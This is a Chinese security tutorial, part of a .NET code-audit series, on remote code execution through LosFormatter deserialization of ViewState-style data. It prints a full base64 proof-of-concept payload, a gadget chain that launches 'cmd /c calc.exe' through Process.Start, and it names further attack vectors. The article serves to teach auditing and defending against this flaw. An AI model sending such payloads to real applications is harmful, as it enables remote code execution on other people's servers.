原文來自安全客,作者:Ivan1ee@360云影實驗室
原文鏈接:https://www.anquanke.com/post/id/176786
相關閱讀:
- 《.NET 高級代碼審計(第一課)XmlSerializer 反序列化漏洞》
- 《.NET 高級代碼審計(第二課) Json.Net 反序列化漏洞》
- 《.NET高級代碼審計(第三課)Fastjson反序列化漏洞》
- 《.NET高級代碼審計(第四課) JavaScriptSerializer 反序列化漏洞》
- 《.NET高級代碼審計(第五課) .NET Remoting反序列化漏洞》
- 《.NET高級代碼審計(第六課) DataContractSerializer反序列化漏洞》
- 《.NET高級代碼審計(第七課) NetDataContractSerializer反序列化漏洞》
- 《.NET高級代碼審計(第八課)SoapFormatter反序列化漏洞》
- 《.NET高級代碼審計(第九課) BinaryFormatter反序列化漏洞》
- 《.NET高級代碼審計(第十課) ObjectStateFormatter反序列化漏洞》
0x00 前言
LosFormatter一般也是用于序列化和反序列化Web窗體頁的視圖狀態(ViewState),如果要把ViewState 通過數據庫或其他持久化設備來維持,則需要采用特定的 LosFormatter 類來序列化/反序列化。它封裝在System.Web.dll中,位于命名空間System.Web.UI下,微軟官方的闡述是有限的對象序列化(LOS)格式專門為高度精簡的ASCII格式序列化,此類支持序列化的任何對象圖。但是使用反序列化不受信任的二進制文件會導致反序列化漏洞從而實現遠程RCE攻擊,本文筆者從原理和代碼審計的視角做了相關介紹和復現。
0x01 LosFormatter序列化
LosFormatter類通常用于對ViewState頁面狀態視圖的序列化,看下面實例來說明問題,首先定義TestClass對象

定義了三個成員,并實現了一個靜態方法ClassMethod啟動進程。 序列化通過創建對象實例分別給成員賦值

常規下使用Serialize得到序列化后的文件內容是Base64編碼的
/wEypgEAAQAAAP////8BAAAAAAAAAAwCAAAAPldwZkFwcDEsIFZlcnNpb249MS4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1udWxsBQEAAAARV3BmQXBwMS5UZXN0Q2xhc3MDAAAACWNsYXNzbmFtZQRuYW1lA2FnZQEBAAgCAAAABgMAAAADMzYwBgQAAAAHSXZhbjFlZRIAAAAL
0x02 LosFormatter反序列化
2.1、反序列化用法
反序列過程是將Base64編碼數據轉換為對象,通過創建一個新對象的方式調用Deserialize方法實現的,查看定義如下

筆者通過創建新對象的方式調用Deserialize方法實現的具體實現代碼可參考以下

反序列化后得到TestClass類的成員Name的值。

2.2、攻擊向量—ActivitySurrogateSelector
由于之前已經介紹了漏洞的原理,所以本篇就不再冗余的敘述,沒有看的朋友請參考《.NET高級代碼審計(第八課) SoapFormatter反序列化漏洞》,不同之處是用了LosFormatter類序列化數據,同樣也是通過重寫ISerializationSurrogate 調用自定義代碼得到序列化后的數據

按照慣例用LosFormatter類的Deserialize方法反序列化就可以成功觸發計算器。


2.3、攻擊向量—PSObject
由于筆者的windows主機打過了CVE-2017-8565(Windows PowerShell遠程代碼執行漏洞)的補丁,利用不成功,所以在這里不做深入探討,有興趣的朋友可以自行研究。有關于補丁的詳細信息參考:
2.4、攻擊向量—MulticastDelegate
由于之前已經介紹了漏洞的原理,所以本篇就不再冗余的敘述,沒有看的朋友請參考《.NET高級代碼審計(第七課)NetDataContractSerializer反序列化漏洞》
0x03 代碼審計視角
3.1、Deserialize
從代碼審計的角度找到漏洞的EntryPoint,Deserialize有兩個重載分別可反序列化Stream和字符串數據,其中字符串可以是原始的Raw也可以是文檔中說的Base64字符串,兩者在實際的反序列化都可以成功。

下面是不安全的代碼:

攻擊者只需要控制傳入字符串參數Content便可輕松實現反序列化漏洞攻擊,完整的Poc如下
/wEyxBEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAACy9jIGNhbGMuZXhlBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=
最后附上動態圖效果

0x04 總結
實際開發中LosFormatter 通常用在處理ViewState狀態視圖,同ObjectStateFormatter一樣在反序列化二進制文件時要注意數據本身的安全性,否則就會產生反序列化漏洞。最后.NET反序列化系列課程筆者會同步到 https://github.com/Ivan1ee/、https://ivan1ee.gitbook.io/ ,更多的.NET安全和技巧可關注筆者的github。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/903/
暫無評論